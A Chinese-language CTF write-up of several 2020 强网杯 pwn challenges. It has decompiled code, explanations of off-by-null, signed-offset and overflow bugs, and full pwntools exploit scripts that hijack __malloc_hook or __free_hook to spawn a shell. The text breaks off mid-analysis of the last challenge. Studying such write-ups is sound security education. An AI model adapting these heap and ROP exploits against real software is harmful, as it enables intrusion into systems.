强网杯2020


强网杯2020的pwn题多且质量高,非常有必要复现一部分

0x1.easypwn

unsigned __int64 sub_ACE()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  if ( !mallopt(1, 0) )
    exit(-1);
  return __readfsqword(0x28u) ^ v1;
}

禁用了fastbin

一共有三个功能,add,dele和edit,先看到add

unsigned __int64 add()
{
  int i; // [rsp+8h] [rbp-18h]
  size_t size; // [rsp+Ch] [rbp-14h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  for ( i = 0; ; ++i )
  {
    if ( i > 19 )
    {
      if ( i == 20 )
        puts("Full");
      return __readfsqword(0x28u) ^ v3;
    }
    if ( !qword_202500[i] )
      break;
  }
  puts("size:");
  memset((char *)&size + 4, 0, 8uLL);
  read(0, (char *)&size + 4, 8uLL);
  LODWORD(size) = atoi((const char *)&size + 4);
  if ( (unsigned int)size > 0x3F0 )
    exit(-1);
  qword_202500[i] = malloc((unsigned int)size);
  if ( !qword_202500[i] )
    exit(-1);
  qword_202060[i] = (unsigned int)size;
  return __readfsqword(0x28u) ^ v3;
}

最多能分配20个chunk,最大能分配的size为0x3f0

再看到edit

unsigned __int64 edit()
{
  unsigned int v1; // [rsp+Ch] [rbp-14h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("idx:");
  read(0, &buf, 8uLL);
  v1 = atoi(&buf);
  if ( v1 > 0x13 )
    exit(-1);
  if ( qword_202500[v1] )
  {
    puts("content:");
    read_n(qword_202500[v1], qword_202060[v1]);
    puts("done");
  }
  return __readfsqword(0x28u) ^ v3;
}

看到read_n函数

unsigned __int64 __fastcall read_n(__int64 a1, int a2)
{
  char buf; // [rsp+1Fh] [rbp-11h]
  int i; // [rsp+20h] [rbp-10h]
  int v5; // [rsp+24h] [rbp-Ch]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  for ( i = -1; ; *(_BYTE *)(a1 + i) = buf )
  {
    v5 = i;
    if ( i + 1 >= (unsigned int)(a2 + 1) )
      break;
    if ( a2 - 1 == v5 )
    {
      buf = 0;
      *(_BYTE *)(a1 + ++i) = 0;
      return __readfsqword(0x28u) ^ v6;
    }
    if ( (int)read(0, &buf, 1uLL) <= 0 )
      exit(-1);
    if ( buf == 10 )
      return __readfsqword(0x28u) ^ v6;
    ++i;
  }
  return __readfsqword(0x28u) ^ v6;
}

根据经验,当读入数据的函数比较复杂的时候大概率会有off-by-one或者off-by-null

问题出在这两句

if ( i + 1 >= (unsigned int)(a2 + 1) )
      break;
.......
*(_BYTE *)(a1 + ++i) = 0;

if判断实际上就是if(i>=a2),a2是chunk的size,*(_BYTE *)(a1 + ++i) = 0,而这一句,++i有问题,当i为a2-1时,++i之后i就变成了a2,于是就会将下一个chunk的size位的一个字节设置为\x00

再看到dele

unsigned __int64 dele()
{
  unsigned int v1; // [rsp+Ch] [rbp-14h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("idx:");
  read(0, &buf, 8uLL);
  v1 = atoi(&buf);
  if ( v1 > 0x13 )
    exit(-1);
  free((void *)qword_202500[v1]);
  qword_202500[v1] = 0LL;
  qword_202060[v1] = 0LL;
  return __readfsqword(0x28u) ^ v3;
}

没问题,free之后清空悬垂指针

整理信息,无fastbin,存在off-by-null,我们的利用思路如下

1.利用unsortedbin attack修改global_max_fast,使fastbin可用

2.修改_IO_2_1_stdout_泄露libc地址

3.fastbin attack

off-by-null的利用相对于off-by-one还是难啊。。。考验堆风水的构造,这题学到了新姿势,先贴exp

#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
elf = ELF('easypwn')
libc = ELF('libc-easypwn.so')
onegadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]


def add(size):
    io.recvuntil('Your choice:')
    io.sendline('1')
    io.recvuntil('size:')
    io.sendline(str(size))


def edit_n(index, content):
    io.recvuntil('Your choice:')
    io.sendline('2')
    io.recvuntil('idx:')
    io.sendline(str(index))
    io.recvuntil('content:')
    io.sendline(content)


def edit_0(index, content):
    io.recvuntil('Your choice:')
    io.sendline('2')
    io.recvuntil('idx:')
    io.sendline(str(index))
    io.recvuntil('content:')
    io.send(content)


def dele(index):
    io.recvuntil('Your choice:')
    io.sendline('3')
    io.recvuntil('idx:')
    io.sendline(str(index))


def pwn():
    add(0xa8)  # 0
    add(0x68)  # 1
    add(0x18)  # 2
    dele(1)
    dele(0)
    dele(2)
    add(0x68)  # 0
    add(0x68)  # 1
    add(0x68)  # 2
    add(0xf8)  # 3
    add(0x18)  # 4
    dele(0)
    edit_0(2, 'a'*0x60+p64(0x150))
    dele(3)
    add(0x88)  # 0
    add(0x68)  # 3
    add(0x18)  # 5
    add(0x68)  # 6
    add(0xb8)  # 7
    dele(3)
    global_max_fast = 0x67f8
    payload = 'A'*0x10+p64(0)+p64(0x71)+p64(0)+p16(global_max_fast-0x10)
    edit_n(1, payload)
    add(0x68)
    dele(3)
    dele(6)
    stdout = 0x55dd
    payload = 'A'*0x10+p64(0x70)+p64(0x21)+'A'*0x18+p64(0x71)+p8(0xb0)
    edit_n(2, payload)
    payload = p64(0)*3+p64(0x71)+p64(0)*3+p64(0x71)+p16(stdout)
    edit_n(1, payload)

    add(0x68)
    add(0x68)

    payload = p8(0)*0x33+p64(0xfbad1887)+p64(0)*3+p8(0)
    add(0x68)
    edit_n(8, payload)
    libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))-0x3c5600
    log.success('libc_base => {}'.format(hex(libc_base)))

    malloc_hook = libc_base+libc.symbols['__malloc_hook']
    libc_realoc = libc_base+libc.symbols['__libc_realloc']
    one_gadget = libc_base+onegadget[2]
    log.success('malloc_hook => {}'.format(hex(malloc_hook)))
    log.success('libc_realoc => {}'.format(hex(libc_realoc)))
    log.success('onegadget => {}'.format(hex(one_gadget)))

    dele(3)
    payload = p64(0)*3+p64(0x71)+p64(0)*3+p64(0x71)+p64(malloc_hook-0x23)
    edit_n(2, payload)
    add(0x68)
    payload = p8(0)*0x13+p64(one_gadget)
    add(0x68)
    edit_n(9, payload)
    add(1)
    # gdb.attach(io)

    io.interactive()


if __name__ == '__main__':
    global io
    while True:
        try:
            io = process('./easypwn')
            pwn()
        except:
            io.close()

逐步讲解

add(0xa8)  # 0
add(0x68)  # 1
add(0x18)  # 2
dele(1)
dele(0)
dele(2)

这一段的作用是在堆中留下main_arena的地址,方便后续利用

add(0x68)  # 0
add(0x68)  # 1
add(0x68)  # 2
add(0xf8)  # 3
add(0x18)  # 4

申请chunk,并于上次申请的chunk的位置错开,如下

可以看到main_arena的地址已经落到了第二个chunk中

dele(0)
edit_0(2, 'a'*0x60+p64(0x150))
dele(3)

这段用来off-by-null,构造chunkoverlap,dele掉第一个0x71的chunk,再将0x101这个chunk的prev_size设置为前三个chunk的size之和,再将其dele掉,如此chunk3便会通过prev_size找到chunk0,中间两个chunk也被划入了其中,如下

实际上chunk1和chunk2依然是使用状态

add(0x88)  # 0
add(0x68)  # 3
add(0x18)  # 5
add(0x68)  # 6
add(0xb8)  # 7

这一段的作用是将unsortedbin重新分割,并且要与chunk1和chunk2错位,需要能够通过这次分配的chunk来控制chunk1和chunk2,如下:

如上图所示我们成功构造了chunkoverlap,chunk1被包含在了chunk0之中,chunk2被包含在了chunk3之中

dele(3)
global_max_fast = 0x67f8
payload = 'A'*0x10+p64(0)+p64(0x71)+p64(0)+p16(global_max_fast-0x10)
edit_n(1, payload)

这一段先将chunk3删除掉,露出main_arena,然后通过chunk1修改chunk3的bk指针为global_max_fast-0x10,如下

我们成功修改了bk指针,将其指向了global_max_fast-0x10,几率为1/16

add(0x68)
dele(3)
dele(6)
stdout = 0x55dd
payload = 'A'*0x10+p64(0x70)+p64(0x21)+'A'*0x18+p64(0x71)+p8(0xb0)
edit_n(2, payload)
payload = p64(0)*3+p64(0x71)+p64(0)*3+p64(0x71)+p16(stdout)
edit_n(1, payload)

add(0x68)来触发unsortedbin attack,使main_arena+88落入global_max_fast,这样后续我们就能够使用fastbin了

我们接着dele(3)dele(6),由于chunk3和chunk6都是0x70大小,因此他们都会被链入0x70大小的fastbin中,chunk6的fd处会写入chunk3的地址

接着我们通过chunk2来修改chunk6的fd指向我们一开始分配并且删除的一个chunk

接着我们再通过chunk1修改0x55faa8fba0b0处chunk的fd指针的后四位为IO_2_1_stdout_-0x43的后四位

这样我们通过连续申请三个0x68大小的chunk就能申请到IO_2_1_stdout_-0x43处

add(0x68)
add(0x68)
payload = p8(0)*0x33+p64(0xfbad1887)+p64(0)*3+p8(0)
add(0x68)
edit_n(8, payload)
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))-0x3c5600
log.success('libc_base => {}'.format(hex(libc_base)))

申请过去之后修改stdout结构体的值来泄露libc地址

dele(3)
payload = p64(0)*3+p64(0x71)+p64(0)*3+p64(0x71)+p64(malloc_hook-0x23)
edit_n(2, payload)
add(0x68)
payload = p8(0)*0x13+p64(one_gadget)
add(0x68)
edit_n(9, payload)
add(1)

有了libc地址有fastbin,再故技重施,dele chunk3,利用chunk2修改其fd指向malloc_hook-0x23处,利用onegadget劫持程序流即可

0x2.direct

保护全开

IDA分析

程序开头有一个sleep(0xA)的函数,把它nop掉

一共有五个功能

__int64 sub_E95()
{
  sub_A89("1. allocate");
  sub_A89("2. edit");
  sub_A89("3. show");
  sub_A89("4. open file");
  sub_A89("5. close file");
  sub_A89("6. exit");
  return sub_A5A("Your choice: ");
}

依次分析

首先是allocate

size_t __fastcall add(__int64 a1, __int64 a2)
{
  size_t result; // rax
  size_t v3; // [rsp+8h] [rbp-18h]
  size_t size; // [rsp+10h] [rbp-10h]
  void *v5; // [rsp+18h] [rbp-8h]

  sub_A5A("Index: ");
  result = sub_B11("Index: ", a2);
  v3 = result;
  if ( result <= 0xF )
  {
    result = qword_202100[result];
    if ( !result )
    {
      sub_A5A("Size: ");
      result = sub_B11("Size: ", a2);
      size = result;
      if ( result <= 0x100 )
      {
        v5 = malloc(result);
        if ( v5 )
        {
          qword_202100[v3] = v5;
          qword_202060[v3] = size;
          result = sub_A89("Done!");
        }
        else
        {
          result = sub_A89("allocate failed");
        }
      }
    }
  }
  return result;
}

最多分配16个chunk,最大能分配0x100的chunk

再看到edit

__int64 __fastcall edit(__int64 a1, __int64 a2)
{
  __int64 result; // rax
  __int64 v3; // rax
  __int64 v4; // rcx
  __int64 v5; // [rsp+8h] [rbp-18h]
  __int64 v6; // [rsp+10h] [rbp-10h]
  size_t nbytes; // [rsp+18h] [rbp-8h]

  result = (unsigned int)dword_2020E0;
  if ( dword_2020E0 )
  {
    sub_A5A("Index: ");
    result = sub_B11("Index: ", a2);
    v5 = result;
    if ( (unsigned __int64)result <= 0xF )
    {
      result = qword_202100[result];
      if ( result )
      {
        sub_A5A("Offset: ");
        v6 = sub_B11("Offset: ", a2);
        sub_A5A("Size: ");
        v3 = sub_B11("Size: ", a2);
        nbytes = v3;
        v4 = v6 + v3;
        result = qword_202060[v5];
        if ( v4 <= result )
        {
          sub_A5A("Content: ");
          read(0, (void *)(qword_202100[v5] + v6), nbytes);
          result = sub_A89("Done!");
        }
      }
    }
  }
  return result;
}

首先会检查dword_2020E0的值是否存在,存在的话就进入edit功能

我们输入一个偏移量和要修改的size,然后程序会检查偏移量+size是否会超出这个chunk的size,如果没有超过就从chunk的起始位置+偏移量处开始写值。但这里有问题,if判断值检查了是否存在下溢,没有检查上溢,而offset又是有符号整型,所以这题的漏洞点就在edit功能中。

再看到show函数

unsigned __int64 __fastcall show(__int64 a1, __int64 a2)
{
  unsigned __int64 result; // rax
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  sub_A5A("Index: ");
  result = sub_B11("Index: ", a2);
  v3 = result;
  if ( result <= 0xF )
  {
    result = qword_202100[result];
    if ( result )
    {
      free((void *)qword_202100[v3]);
      qword_202100[v3] = 0LL;
      result = (unsigned __int64)qword_202060;
      qword_202060[v3] = 0LL;
    }
  }
  return result;
}

这show函数其实就是dele函数,没啥看的

再看到open_file函数

ssize_t open_file()
{
  ssize_t result; // rax

  result = (unsigned int)dword_2020E0;
  if ( !dword_2020E0 )
  {
    dirp = opendir(".");
    if ( !dirp )
      exit(-1);
    dword_2020E0 = 1;
    result = sub_A89((__int64)"Done!");
  }
  return result;
}

其中有一个opendir函数

OPENDIR(3)                                                                   Linux Programmer's Manual                                                                  OPENDIR(3)

NAME
       opendir, fdopendir - open a directory

SYNOPSIS
       #include <sys/types.h>
       #include <dirent.h>

       DIR *opendir(const char *name);
       DIR *fdopendir(int fd);

   Feature Test Macro Requirements for glibc (see feature_test_macros(7)):

       fdopendir():
           Since glibc 2.10:
               _POSIX_C_SOURCE >= 200809L
           Before glibc 2.10:
               _GNU_SOURCE

DESCRIPTION
       The  opendir() function opens a directory stream corresponding to the directory name, and returns a pointer to the directory stream.  The stream is positioned at the first
       entry in the directory.

作用就是打开一个目录,返回DIR *形态的目录流

再看到close__file函数

ssize_t close_file()
{
  ssize_t result; // rax
  ssize_t v1; // [rsp+8h] [rbp-8h]

  result = (unsigned int)dword_2020E0;
  if ( dword_2020E0 )
  {
    result = (ssize_t)readdir(dirp);
    v1 = result;
    if ( result )
    {
      sub_A5A("Filename: ");
      result = sub_A89(v1 + 19);
    }
  }
  return result;
}

有一个readdir函数

READDIR(3)                                                                   Linux Programmer's Manual                                                                  READDIR(3)

NAME
       readdir - read a directory

SYNOPSIS
       #include <dirent.h>

       struct dirent *readdir(DIR *dirp);

DESCRIPTION
       The readdir() function returns a pointer to a dirent structure representing the next directory entry in the directory stream pointed to by dirp.  It returns NULL on reach‐
       ing the end of the directory stream or if an error occurred.

       In the glibc implementation, the dirent structure is defined as follows:

           struct dirent {
               ino_t          d_ino;       /* Inode number */
               off_t          d_off;       /* Not an offset; see below */
               unsigned short d_reclen;    /* Length of this record */
               unsigned char  d_type;      /* Type of file; not supported
                                              by all filesystem types */
               char           d_name[256]; /* Null-terminated filename */
           };

返回值为下一个目录的进入点

整理一下题目信息

1.存在上溢

2.无输出功能

这题程序没有输出功能,而且所有的打印函数都是write而不是puts,利用stdout结构体泄露地址需要利用puts函数,所以这题不能用stdout来泄露

程序中可以进行输出的地方只有close_file功能,open_dir之后close_dir就会依次输出当前文件夹下文件的名称

opendir函数会申请一个0x8040大小的缓冲区

缓冲区的内容如下

如果我们能将main_arena+88的地址落入缓冲区中存储着文件名的位置,当输出文件名时就会输出main_arena+88的地址

我们需要构造出chunkoverlap,把opendir申请的缓冲区包含进去,类似于off-by-null/one的利用手法,然后逐步申请unsortedbin,让main_arena+88的地址落入opendir的缓冲区中,exp如下

#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
io = process('./direct')
elf = ELF('direct')
libc = ELF('libc-2.27.so')


def add(index, size):
    io.recvuntil('Your choice: ')
    io.sendline('1')
    io.recvuntil('Index: ')
    io.sendline(str(index))
    io.recvuntil('Size: ')
    io.sendline(str(size))


def edit(index, offset, size, content):
    io.recvuntil('Your choice: ')
    io.sendline('2')
    io.recvuntil('Index: ')
    io.sendline(str(index))
    io.recvuntil('Offset: ')
    io.sendline(str(offset))
    io.recvuntil('Size: ')
    io.sendline(str(size))
    io.recvuntil('Content: ')
    io.send(content)


def dele(index):
    io.recvuntil('Your choice: ')
    io.sendline('3')
    io.recvuntil('Index: ')
    io.sendline(str(index))


def open_dir():
    io.recvuntil('Your choice: ')
    io.sendline('4')


def read_dir():
    io.recvuntil('Your choice: ')
    io.sendline('5')


add(0, 0xf8)
add(1, 0x68)
open_dir()
add(2, 0xf8)
add(3, 0xf8)
for i in range(4, 11):
    add(i, 0xf8)
read_dir()
read_dir()
for i in range(4, 11):
    dele(i)

dele(0)
edit(3, -0x110, 0x10, p64(0x8040+0x70+0x100)+p64(0x100))
dele(2)
add(0, 0xc8)
add(2, 0x68)
add(4, 0x98)
add(5, 0x78)
edit(5, 0, 0x8, 'a'*0x8)
read_dir()
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))-0x3ebca0
system = libc_base+libc.symbols['system']
free_hook = libc_base+libc.symbols['__free_hook']
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('system => {}'.format(hex(system)))
log.success('free_hook => {}'.format(hex(free_hook)))
dele(1)
edit(2, 0x30, 8, p64(free_hook))
add(1, 0x68)
edit(1, 0, 8, '/bin/sh\x00')
add(6, 0x68)
edit(6, 0, 8, p64(system))
dele(1)
# gdb.attach(io)
io.interactive()
add(0, 0xf8)
add(1, 0x68)
open_dir()
add(2, 0xf8)
add(3, 0xf8)
for i in range(4, 11):
    add(i, 0xf8)
read_dir()
read_dir()
for i in range(4, 11):
    dele(i)

这一段的作用是为后面的overlap构造好chunk,然后将0x100的tcache填满

dele(0)
edit(3, -0x110, 0x10, p64(0x8040+0x70+0x100)+p64(0x100))
dele(2)

然后dele掉chunk0,利用上溢通过chunk3修改chunk2的prev_size为opendir_chunk+chunk1+chunk0,将chunk2的size的prev_inuse位置0,然后dele掉chunk2,就会触发unlink,chunk2通过prev_size找到chunk0,而chunk1和opendir_chunk仍在使用状态,构造出chunkoverlap

可以看到unsortedbin确实是从chunk0开始的

add(0, 0xc8)
add(2, 0x68)
add(4, 0x98)
add(5, 0x78)

这一段是错位分配chunk,使chunk1的fd被chunk2包含,同时使main_arena+88正好落入原本的“libc-2.27.so”的位置处

edit(5, 0, 0x8, 'a'*0x8)
read_dir()

这一段要填充空字符,否则只会输出三个字节

有了libc地址之后,dele掉chunk1,然后通过chunk2修改chunk1的fd指向free_hook,修改free_hook的值为system即可

0x3.oldschool

这题直接给的源码,编译方式为Ubuntu 18.04, GCC -m32 -O3,还需要安装一个gcc的编译环境

apt-get install gcc-multilib

编译命令中的-m32是编译为32位程序,-O3则是优化级别为3,将其编译之后在IDA中对照着源码进行审计

其中allocate、edit、show、dele、mmap_allocate编译前后没有发生什么变化,但mmap_edit中的if判断被优化掉了,如下

void mmap_edit(){ //源码
    if(g_ptr == NULL){
        printf("Mmap first!");
        return;
    }

    unsigned value;
    unsigned idx;
    printf("Index: ");
    idx = get_int(); 

    if(g_ptr + idx < g_ptr && (unsigned)(g_ptr + idx) < ADDR_HIGH){
        puts("Invalid idx");
        return;
    }

    printf("Value: ");

    value = get_int(); 
    g_ptr[idx] = value;
}
unsigned int mmap_edit()//IDA反编译结果
{
  int v0; // edi
  int v2; // [esp+0h] [ebp-18h]
  int v3; // [esp+4h] [ebp-14h]
  unsigned int v4; // [esp+8h] [ebp-10h]

  v4 = __readgsdword(0x14u);
  if ( g_ptr )
  {
    __printf_chk(1);
    if ( __isoc99_scanf(&unk_1110, &v2) != 1 )
      goto LABEL_3;
    v0 = v2;
    if ( 4 * v2 >= 0 || (unsigned int)(g_ptr + 4 * v2) > 0xEFFFFFFF )
    {
      __printf_chk(1);
      if ( __isoc99_scanf(&unk_1110, &v3) != 1 )
LABEL_3:
        exit(0);
      *(_DWORD *)(g_ptr + 4 * v0) = v3;
    }
    else
    {
      puts("Invalid idx");
    }
  }
  else
  {
    __printf_chk(1);
  }
  return __readgsdword(0x14u) ^ v4;
}

源码中的

if(g_ptr + idx < g_ptr && (unsigned)(g_ptr + idx) < ADDR_HIGH){
        puts("Invalid idx");
        return;
    }

被优化为了

if ( 4 * v2 >= 0 || (unsigned int)(g_ptr + 4 * v2) > 0xEFFFFFFF )

源码中的if条件限制了我们往mmap出的区域的下方写数据,而优化之后if则变为了或条件,我们只需满足4 * v2 >= 0便可以往mmap下方写数据

所以这题我们只需要先填满tcache,然后用show泄露出libc地址,然后利用mmap_edit往free_hook写system即可

from pwn import *
context.log_level = 'debug'
io = process('./oldschool')
elf = ELF('oldschool')
libc = ELF('libc-2.27.so')


def add(index, size):
    io.recvuntil('Your choice: ')
    io.sendline('1')
    io.recvuntil('Index: ')
    io.sendline(str(index))
    io.recvuntil('Size: ')
    io.sendline(str(size))


def edit(index, content):
    io.recvuntil('Your choice: ')
    io.sendline('2')
    io.recvuntil('Index: ')
    io.sendline(str(index))
    io.recvuntil('Content: ')
    io.sendline(content)


def show(index):
    io.recvuntil('Your choice: ')
    io.sendline('3')
    io.recvuntil('Index: ')
    io.sendline(str(index))


def dele(index):
    io.recvuntil('Your choice: ')
    io.sendline('4')
    io.recvuntil('Index: ')
    io.sendline(str(index))


def mmap_allocate(start):
    io.recvuntil('Your choice: ')
    io.sendline('6')
    io.recvuntil('Where do you want to start: ')
    io.sendline(str(start))


def mmap_edit(index, value):
    io.recvuntil('Your choice: ')
    io.sendline('7')
    io.recvuntil('Index: ')
    io.sendline(str(index))
    io.recvuntil('Value: ')
    io.sendline(str(value))


for i in range(8):
    add(i, 0x80)

add(8, 0x18)
for i in range(8):
    dele(i)

for i in range(8):
    add(i, 0x80)

edit(7, 'a'*3)
show(7)
# gdb.attach(io)
libc_base = u32(io.recvuntil('\xf7')[-4:])-0x1d87d8
log.success('libc_base => {}'.format(hex(libc_base)))
free_hook = libc_base+libc.symbols['__free_hook']
system = libc_base+libc.symbols['system']
log.success('free_hook => {}'.format(hex(free_hook)))
log.success('system => {}'.format(hex(system)))

mmap_allocate(0)
offset = (free_hook-0xe0000000) / 4
mmap_edit(offset, system)
edit(0, '/bin/sh\x00')
dele(0)

io.interactive()

exp里面解释一下这一句

offset = (free_hook-0xe0000000) / 4

来源于IDA中的这一句

*(_DWORD *)(g_ptr + 4 * v0) = v3;

以及mmap的起始地址是0xe0000000

0x4.babymessage

只开了NX保护,IDA分析

一共有三个功能,leave_name、leave_messgae和show

leave_name如下

__int64 leave_name()
{
  puts("name: ");
  byte_6010D0[(int)read(0, byte_6010D0, 4uLL)] = 0;
  puts("done!\n");
  return 0LL;
}

往0x6010D0位置处写入四个字节

看到leave_message

__int64 __fastcall leave_message(unsigned int a1)
{
  int v2; // [rsp+14h] [rbp-Ch]
  __int64 v3; // [rsp+18h] [rbp-8h]

  puts("message: ");
  v2 = read(0, &v3, a1);
  strncpy(buf, (const char *)&v3, v2);
  buf[v2] = 0;
  puts("done!\n");
  return 0LL;
}

注意到v3的位置在rbp-8处,可以往v3位置写入a1个字节,a1来源于v1

v1 = mm + 16;
.........
if ( v1 > 256 )
    v1 = 256;
leave_message(v1);

v1就是0x10,所以leave_message可以溢出到rbp,那么溢出到rbp有什么用,看到leave_message前面

.text:0000000000400995 loc_400995:                             ; CODE XREF: work+72↑j
.text:0000000000400995                 mov     eax, [rbp+var_4]
.text:0000000000400998                 mov     edi, eax
.text:000000000040099A                 call    leave_message
.text:000000000040099F                 jmp     short loc_40093F

leave_message函数会将rbp-4处的值作为参数,也就是read函数能够读入的字节数

而leave_name功能中会往0x6010d0处写入四个字节,于是我们溢出到rbp,将rbp覆盖成0x6010d0+4,这样leave_message函数便会将name作为read函数能够读入的字节数,只要我们写入的name的值大于256,read就能够读入0x100个字节,之后就是正常的ret2libc了

exp如下

from pwn import *
context.log_level = 'debug'
io = process('./babymessage')
elf = ELF('babymessage')
libc = ELF('libc-2.27.so')


def leave_name(name):
    io.recvuntil('choice:')
    io.sendline('1')
    io.recvuntil('name:')
    io.send(name)


def leave_message(message):
    io.recvuntil('choice:')
    io.sendline('2')
    io.recvuntil('message:')
    io.send(message)


def show():
    io.recvuntil('choice:')
    io.sendline('3')


pop_rdi_ret = 0x0000000000400ac3
ret = 0x0000000000400646

leave_name('a'*4)
payload = 'a'*8+p64(0x6010d0+4)
leave_message(payload)
payload = 'A'*16
payload += p64(pop_rdi_ret)+p64(elf.got['puts']) + p64(elf.plt['puts'])+p64(elf.symbols['main'])
leave_message(payload)
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))-libc.symbols['puts']
system_addr = libc_base+libc.symbols['system']
bin_sh_addr = libc_base+libc.search('/bin/sh\x00').next()
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(system_addr)))
log.success('bin_sh_addr => {}'.format(hex(bin_sh_addr)))

leave_name('a'*4)
payload = 'a'*8+p64(0x6010d0+4)
leave_message(payload)
payload = 'A'*16
payload += p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(ret)+p64(system_addr)
# gdb.attach(io)
leave_message(payload)
io.interactive()

解释一下exp

leave_name('a'*4)

这一句name被设置为0x61616161,大于256

payload = 'a'*8+p64(0x6010d0+4)
leave_message(payload)

溢出到rbp,将rbp设置为0x6010d0-0x10,这样后面再调用leave_message的话就能读入0x100个字节

payload = 'A'*16
payload += p64(pop_rdi_ret)+p64(elf.got['puts']) + p64(elf.plt['puts'])+p64(elf.symbols['main'])
leave_message(payload)

直接溢出,泄露libc地址

之后的就是重复上面的操作,调用system(“/bin/sh”)

0x5.babynote

只开启了NX保护

一共有6个功能

int menu()
{
  puts("1. Add note");
  puts("2. Show note");
  puts("3. Delete note");
  puts("4. Edit note");
  puts("5. Reset registration information");
  puts("6. Check registration information");
  puts("7. Exit");
  return printf(">> ");
}

在程序一开始有一个regist函数

int regist()
{
  char s; // [rsp+0h] [rbp-50h]
  __int64 v2; // [rsp+18h] [rbp-38h]
  __int64 v3; // [rsp+28h] [rbp-28h]

  memset(&s, 0, 0x50uLL);
  qword_6020D0 = (char *)malloc(0x100uLL);
  dest = (char *)malloc(0x18uLL);
  puts("Input your name: ");
  if ( (unsigned int)read(0, &s, 0x18uLL) == -1 )
    exit(0);
  puts("Input your motto: ");
  if ( (unsigned int)read(0, &v3, 0x20uLL) == -1 )
    exit(0);
  puts("Input your age: ");
  __isoc99_scanf("%lld", &v2);
  strcpy(dest, &s);
  strncpy(qword_6020D0, (const char *)&v3, 0x20uLL);
  qword_6020C8 = v2;
  return puts("Done!");
}

注意到其中的strcpy(dest, &s);会将s中的值复制到dest中,而dest是一个0x18的chunk的指针,s是利用mmap开辟的一个0x50的区域的指针,我们可以往其中写入0x18个字节,看似无法利用strcpy进行溢出,然而sv2是连续的,v2是一个长整型的变量,存储着年龄,所以当我们往s中输入0x18个字节就会和v2拼接在一起,strcpy就会造成溢出,可以通过age修改下一个chunk的size,构造出overlap。exp如下

from pwn import *
context.log_level = 'debug'
io = process('./babynotes')
elf = ELF('babynotes')
libc = ELF('libc-2.23.so')
onegadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]


def register(name, motto, age):
    io.recvuntil('Input your name:')
    io.send(name)
    io.recvuntil('Input your motto:')
    io.send(motto)
    io.recvuntil('Input your age:')
    io.sendline(str(age))


def add(index, size):
    io.recvuntil('>> ')
    io.sendline('1')
    io.recvuntil('Input index:')
    io.sendline(str(index))
    io.recvuntil('Input note size:')
    io.sendline(str(size))


def show(index):
    io.recvuntil('>> ')
    io.sendline('2')
    io.recvuntil('Input index:')
    io.sendline(str(index))


def dele(index):
    io.recvuntil('>> ')
    io.sendline('3')
    io.recvuntil('Input index:')
    io.sendline(str(index))


def edit(index, content):
    io.recvuntil('>> ')
    io.sendline('4')
    io.recvuntil('Input index:')
    io.sendline(str(index))
    io.recvuntil('Input your note:')
    io.send(content)


def reset(name, motto, age):
    io.recvuntil('>> ')
    io.sendline('5')
    io.recvuntil('Input your name:')
    io.send(name)
    io.recvuntil('Input your motto:')
    io.send(motto)
    io.recvuntil('Input your age:')
    io.sendline(str(age))


def check():
    io.recvuntil('>> ')
    io.sendline('6')


register('l0ck', 'aaaa', 20)
add(0, 0x80)
add(1, 0x18)
dele(0)
add(0, 0x80)
show(0)
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))-0x3c4b78
log.success('libc_base => {}'.format(hex(libc_base)))
malloc_hook = libc_base+libc.symbols['__malloc_hook']
libc_realloc = libc_base+libc.symbols['__realloc_hook']
one_gadget = libc_base+onegadget[3]
log.success('malloc_hook => {}'.format(hex(malloc_hook)))
log.success('libc_realloc => {}'.format(hex(libc_realloc)))
log.success('one_gadget => {}'.format(hex(one_gadget)))

dele(1)
add(1, 0x68)
add(2, 0x68)
reset('a'*0x18, 'a', 0xe1)
dele(1)
dele(2)
add(1, 0xd8)
payload = 'A'*0x68+p64(0x71)+p64(malloc_hook-0x23)
edit(1, payload)
add(2, 0x68)
add(3, 0x68)
edit(3, 'A'*0x13+p64(one_gadget))
dele(2)
add(2, 1)
# gdb.attach(io)
io.interactive()

0x6.Galgame

一共有五个功能

int __fastcall sub_4011E7(unsigned int a1)
{
  printf("\nDay %d:\n", a1);
  puts("1. Send her a little gift.");
  puts("2. Invite her to go to a movie.");
  puts("3. Confess to her!");
  puts("4. Collection.");
  puts("5. Leave.");
  return printf(">> ");
}

第一个功能能够分配一个0x68的chunk

qword_404060[6 - v6] = (__int64)malloc(0x68uLL);

第二个功能是在0x68的chunk的末尾进行编辑

printf("idx >> ");
read(0, &buf, 0x10uLL);
if ( qword_404060[atoi((const char *)&buf)] )
{
   printf("movie name >> ");
   v4 = atoi((const char *)&buf);
   read(0, (void *)(qword_404060[v4] + 96), 0x10uLL);
   puts("\nHotaru: What a good movie! I like it~\n");
   puts("[ You've gained a lot favor of her! ]");
}

所以这里存在堆溢出,可以修改下一个chunk的size

第三个功能分配一个0x1000的chunk

qword_404098 = (__int64)malloc(0x1000uLL);

第四个功能输出所有chunk的值

while ( v11 <= 6 - v6 )
{
  printf("%d: %s\n", (unsigned int)v11, qword_404060[v11]);
  ++v11;
}

第五个功能往0x4040a0处读入八字节数据

read(0, &unk_4040A0, 8uLL);
if ( strcmp("No bye!", (const char *)&unk_4040A0) )
{
